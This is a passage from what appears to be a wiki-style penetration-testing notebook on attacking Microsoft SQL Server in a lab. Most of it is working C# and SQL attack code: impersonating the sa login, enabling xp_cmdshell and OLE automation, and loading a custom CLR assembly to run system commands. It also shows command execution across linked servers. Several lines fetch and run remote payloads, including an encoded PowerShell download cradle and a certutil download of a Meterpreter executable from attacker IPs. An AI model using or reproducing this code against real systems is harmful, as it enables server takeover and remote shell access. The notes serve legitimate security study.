                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
